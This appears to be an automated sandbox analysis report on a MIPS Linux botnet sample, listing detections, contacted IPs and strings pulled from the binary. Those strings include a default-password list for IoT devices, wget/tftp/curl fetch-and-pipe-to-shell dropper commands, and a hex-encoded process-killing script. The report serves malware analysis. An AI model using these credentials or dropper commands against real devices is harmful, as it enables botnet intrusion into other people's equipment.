Linux Analysis Report
la.bot.mipsel.elf

Overview

General Information

Sample name: la.bot.mipsel.elf
Analysis ID: 1539817
MD5: 41a4edbf2d37bd9852a20b9314f8c63a
SHA1: 4d77cf22746a84406a958bc0f698af1856f889cb
SHA256: cb8ed6654e7329517b0abc646b6b4190216055fbcce0ed5440ca74d7eca39f8a
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 56
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: la.bot.mipsel.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: la.bot.mipsel.elf ReversingLabs: Detection: 34%
Source: la.bot.mipsel.elf Virustotal: Detection: 33% Perma Link
Found strings indicative of a multi-platform dropper
Source: la.bot.mipsel.elf String: ash|login|wget|curl|tftp|ntpdate
Source: la.bot.mipsel.elf String: '/proc//exe|ash|login|wget|curl|tftp|ntpdate/fd/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/LF
Source: la.bot.mipsel.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Sample listens on a socket
Source: /tmp/la.bot.mipsel.elf (PID: 6251) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown TCP traffic detected without corresponding DNS query: 154.115.48.121
Source: unknown TCP traffic detected without corresponding DNS query: 154.115.48.121
Source: unknown TCP traffic detected without corresponding DNS query: 9.189.90.73
Source: unknown TCP traffic detected without corresponding DNS query: 115.92.17.194
Source: unknown TCP traffic detected without corresponding DNS query: 33.202.149.16
Source: unknown TCP traffic detected without corresponding DNS query: 9.189.90.73
Source: unknown TCP traffic detected without corresponding DNS query: 115.92.17.194
Source: unknown TCP traffic detected without corresponding DNS query: 33.202.149.16
Source: unknown TCP traffic detected without corresponding DNS query: 46.1.135.51
Source: unknown TCP traffic detected without corresponding DNS query: 104.76.242.242
Source: unknown TCP traffic detected without corresponding DNS query: 5.0.23.123
Source: unknown TCP traffic detected without corresponding DNS query: 43.26.115.179
Source: unknown TCP traffic detected without corresponding DNS query: 46.1.135.51
Source: unknown TCP traffic detected without corresponding DNS query: 104.76.242.242
Source: unknown TCP traffic detected without corresponding DNS query: 5.0.23.123
Source: unknown TCP traffic detected without corresponding DNS query: 43.26.115.179
Source: unknown TCP traffic detected without corresponding DNS query: 3.30.199.83
Source: unknown TCP traffic detected without corresponding DNS query: 26.65.226.191
Source: unknown TCP traffic detected without corresponding DNS query: 67.17.244.108
Source: unknown TCP traffic detected without corresponding DNS query: 3.30.199.83
Source: unknown TCP traffic detected without corresponding DNS query: 207.129.214.10
Source: unknown TCP traffic detected without corresponding DNS query: 26.65.226.191
Source: unknown TCP traffic detected without corresponding DNS query: 116.164.24.200
Source: unknown TCP traffic detected without corresponding DNS query: 67.17.244.108
Source: unknown TCP traffic detected without corresponding DNS query: 207.129.214.10
Source: unknown TCP traffic detected without corresponding DNS query: 4.116.199.188
Source: unknown TCP traffic detected without corresponding DNS query: 223.88.150.94
Source: unknown TCP traffic detected without corresponding DNS query: 116.164.24.200
Source: unknown TCP traffic detected without corresponding DNS query: 14.242.153.205
Source: unknown TCP traffic detected without corresponding DNS query: 4.116.199.188
Source: unknown TCP traffic detected without corresponding DNS query: 152.198.226.246
Source: unknown TCP traffic detected without corresponding DNS query: 223.88.150.94
Source: unknown TCP traffic detected without corresponding DNS query: 174.3.57.48
Source: unknown TCP traffic detected without corresponding DNS query: 14.242.153.205
Source: unknown TCP traffic detected without corresponding DNS query: 137.159.143.219
Source: unknown TCP traffic detected without corresponding DNS query: 152.198.226.246
Source: unknown TCP traffic detected without corresponding DNS query: 170.11.18.70
Source: unknown TCP traffic detected without corresponding DNS query: 138.55.177.172
Source: unknown TCP traffic detected without corresponding DNS query: 174.3.57.48
Source: unknown TCP traffic detected without corresponding DNS query: 137.159.143.219
Source: unknown TCP traffic detected without corresponding DNS query: 170.11.18.70
Source: unknown TCP traffic detected without corresponding DNS query: 138.55.177.172
Source: unknown TCP traffic detected without corresponding DNS query: 140.50.203.131
Source: unknown TCP traffic detected without corresponding DNS query: 115.85.209.168
Source: unknown TCP traffic detected without corresponding DNS query: 97.42.4.205
Source: unknown TCP traffic detected without corresponding DNS query: 208.175.150.241
Source: unknown TCP traffic detected without corresponding DNS query: 140.50.203.131
Source: unknown TCP traffic detected without corresponding DNS query: 115.85.209.168
Source: unknown TCP traffic detected without corresponding DNS query: 105.216.147.44
Source: la.bot.mipsel.elf String found in binary or memory: http:///curl.sh
Source: la.bot.mipsel.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal56.linELF@0/0@0/0
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.mipsel.elf (PID: 6251) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.mipsel.elf, 6251.1.00007ffd53572000.00007ffd53593000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/la.bot.mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mipsel.elf
Source: la.bot.mipsel.elf, 6251.1.00005590bb79d000.00005590bb844000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6251.1.00005590bb79d000.00005590bb844000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: la.bot.mipsel.elf, 6251.1.00007ffd53572000.00007ffd53593000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
89.186.83.2
 unknown Italy
5602 AS-IRIDEOS-KPIT false
65.74.162.108
 unknown United States
17018 QTS-SACUS false
215.89.242.80
 unknown United States
721 DNIC-ASBLK-00721-00726US false
56.222.10.149
 unknown United States
2686 ATGS-MMD-ASUS false
95.157.55.12
 unknown Germany
35244 KMS-DE_ASDE false
71.168.221.0
 unknown United States
701 UUNETUS false
94.22.132.118
 unknown Finland
15527 ANVIASilmukkatie6VaasaFinlandFI false
31.156.214.26
 unknown Italy
30722 VODAFONE-IT-ASNIT false
178.124.235.137
 unknown Belarus
6697 BELPAK-ASBELPAKBY false
20.208.215.42
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
162.140.42.98
 unknown United States
3705 GPO-NETUS false
11.216.170.202
 unknown United States
3356 LEVEL3US false
108.163.77.148
 unknown United States
54084 REGION14ESCUS false
210.145.138.46
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
213.99.73.54
 unknown Spain
3352 TELEFONICA_DE_ESPANAES false
82.96.201.78
 unknown Russian Federation
8359 MTSRU false
73.85.100.244
 unknown United States
7922 COMCAST-7922US false
94.172.240.69
 unknown Netherlands
6830 LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding false
203.218.13.239
 unknown Hong Kong
4760 HKTIMS-APHKTLimitedHK false
221.184.74.241
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
6.232.250.169
 unknown United States
3356 LEVEL3US false
58.248.80.52
 unknown China
17622 CNCGROUP-GZChinaUnicomGuangzhounetworkCN false
17.198.16.64
 unknown United States
714 APPLE-ENGINEERINGUS false
111.102.61.15
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
88.195.128.53
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
85.228.42.39
 unknown Sweden
2119 TELENOR-NEXTELTelenorNorgeASNO false
98.9.120.53
 unknown United States
19115 CHARTER-19115-DCUS false
214.228.54.142
 unknown United States
721 DNIC-ASBLK-00721-00726US false
58.34.216.181
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
220.117.4.228
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
196.200.10.210
 unknown South Africa
7020 QDATA-ASZA false
45.62.37.56
 unknown United States
29848 WCUUS false
219.232.210.232
 unknown China
18239 CAPNET-AS-APBeijingCapitalPublicInformationPlatformCN false
187.241.91.103
 unknown Mexico
13999 MegaCableSAdeCVMX false
81.114.76.235
 unknown Italy
20959 TELECOM-ITALIA-DATA-COMIT false
75.79.198.44
 unknown United States
6498 INTRADO-CORPUS false
73.115.41.84
 unknown United States
7922 COMCAST-7922US false
174.51.90.171
 unknown United States
7922 COMCAST-7922US false
131.21.106.63
 unknown United States
721 DNIC-ASBLK-00721-00726US false
41.3.237.74
 unknown South Africa
29975 VODACOM-ZA false
206.89.242.94
 unknown United States
3549 LVLT-3549US false
78.36.42.141
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
73.162.84.19
 unknown United States
7922 COMCAST-7922US false
101.56.173.180
 unknown Italy
210278 SKYIT-BBIT false
24.244.188.174
 unknown Bahamas
15146 CABLEBAHAMASBS false
188.169.73.127
 unknown Georgia
35805 SILKNET-ASGE false
219.210.106.205
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
145.62.174.167
 unknown Netherlands
201204 GFIS-AS-DE false
34.47.182.59
 unknown United States
2686 ATGS-MMD-ASUS false
152.131.194.76
 unknown United States
29992 VA-TMP-COREUS false
167.174.11.231
 unknown United States
14061 DIGITALOCEAN-ASNUS false
55.172.37.215
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
180.88.23.158
 unknown China
7497 CSTNET-AS-APComputerNetworkInformationCenterCN false
44.34.52.218
 unknown United States
7377 UCSDUS false
207.54.138.62
 unknown United States
17054 AS17054US false
179.107.0.51
 unknown Brazil
53143 RRPROVEDORDEINTERNETLTDABR false
153.27.182.83
 unknown United States
6035 DNIC-ASBLK-05800-06055US false
64.41.187.61
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
199.11.55.164
 unknown United States
3648 SPRINT-BB3US false
83.75.40.182
 unknown Denmark
9158 TELENOR_DANMARK_ASDK false
19.232.72.0
 unknown United States
3 MIT-GATEWAYSUS false
157.240.86.14
 unknown United States
32934 FACEBOOKUS false
33.43.124.173
 unknown United States
2686 ATGS-MMD-ASUS false
4.19.68.59
 unknown United States
3356 LEVEL3US false
152.144.221.56
 unknown United States
6400 CompaniaDominicanadeTelefonosSADO false
3.127.134.11
 unknown United States
16509 AMAZON-02US false
37.3.114.148
 unknown Sweden
1257 TELE2EU false
17.62.213.235
 unknown United States
714 APPLE-ENGINEERINGUS false
189.101.124.101
 unknown Brazil
28573 CLAROSABR false
172.221.165.82
 unknown United States
20115 CHARTER-20115US false
139.238.165.209
 unknown United States
1462 DNIC-ASBLK-01462-01463US false
136.246.52.123
 unknown United States
397412 TACHUS false
69.155.29.211
 unknown United States
7018 ATT-INTERNET4US false
17.173.242.204
 unknown United States
714 APPLE-ENGINEERINGUS false
73.146.32.170
 unknown United States
7922 COMCAST-7922US false
223.129.191.246
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
126.117.74.233
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
211.253.97.124
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
118.48.159.192
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
8.73.79.0
 unknown United States
3356 LEVEL3US false
171.91.95.21
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
199.88.197.246
 unknown United States
125 HI-NET-ASUS false
81.1.159.231
 unknown Russian Federation
25513 ASN-MGTS-USPDRU false
103.196.44.195
 unknown Indonesia
56248 INDAHKIATPP-AS-IDPTINDAHKIATPULPPAPERTbkID false
207.118.4.20
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
98.25.119.204
 unknown United States
11426 TWC-11426-CAROLINASUS false
215.230.141.218
 unknown United States
721 DNIC-ASBLK-00721-00726US false
72.78.190.176
 unknown United States
701 UUNETUS false
211.24.163.229
 unknown Malaysia
9930 TTNET-MYTIMEdotComBerhadMY false
117.30.22.249
 unknown China
133776 CHINATELECOM-FUJIAN-QUANZHOU-IDC1QuanzhouCN false
211.207.181.231
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
149.142.70.72
 unknown United States
52 UCLAUS false
109.207.119.9
 unknown Ukraine
196740 TELELAN-ASUA false
39.171.151.173
 unknown China
56041 CMNET-ZHEJIANG-APChinaMobilecommunicationscorporationC false
111.187.2.28
 unknown China
24364 CNGI-SH-IX-AS-APCERNET2IXatShanghaiJiaotongUniversity false
68.82.236.112
 unknown United States
7922 COMCAST-7922US false
28.116.206.2
 unknown United States
7922 COMCAST-7922US false
216.179.209.123
 unknown United States
13389 AZUKIUS false
34.243.199.244
 unknown United States
16509 AMAZON-02US false
179.143.29.63
 unknown Brazil
53037 NEXTELTELECOMUNICACOESLTDABR false